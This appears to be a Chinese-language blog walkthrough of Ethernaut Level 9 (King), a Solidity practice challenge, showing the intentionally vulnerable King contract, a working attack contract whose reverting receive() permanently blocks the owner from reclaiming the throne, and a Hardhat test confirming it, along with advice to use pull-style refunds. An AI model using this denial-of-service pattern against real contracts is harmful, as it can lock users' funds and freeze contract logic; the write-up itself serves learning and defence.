DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 9 (King)

LEVEL 9 (King):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

1.夺取king
2.阻止owner夺回king

要点

1.合约的storage都是可以见的,包含private
2.调用transfer是会报错(例如gas不够/receive故意revert),这样会阻止后续的业务,可以用send/call再判断返回结果,不过这个也不是最好的方案,因为如果失败了,那用户如何再取回退款?
所以比较好的方案是,不在其他业务逻辑里直接退,业务只打可退款标识之类,再提供一个根据标识领取退款的对外方法(当然记得退完要更新已领标识)

解题思路

1.查看prize后直接转账
contracts/09KingRun.sol

    function run(address _levelAddress) external payable{     
        //transfer会失败,2300gas限制了
        (bool result,) = payable(_levelAddress).call{value:msg.value}("");        
        if(!result) revert("call error");
    }

    //条件二:阻止转账(其实不实现这个方法也是阻止的)
    receive() external payable {
        revert("not receive");
    }
Enter fullscreen mode Exit fullscreen mode

test/09King.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: 1000000000000000 + 1,
    });
  });

  it("check", async function () {
    //检查通过条件
    //1.king不再是levelOwner
    //2.levelOwner无法通过转账取回King
    expect(await levelContract._king()).to.equal(runContract.address);
    let isException = false;
    try {
      await levelOwner.sendTransaction({
        to: levelContract.address,
        value: 1000,
      });
    } catch (e) {
      isException = true;
      //异常才是对的
    }
    expect(isException).to.equal(true);
    expect(await levelContract._king()).to.not.equal(levelOwner.address);
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)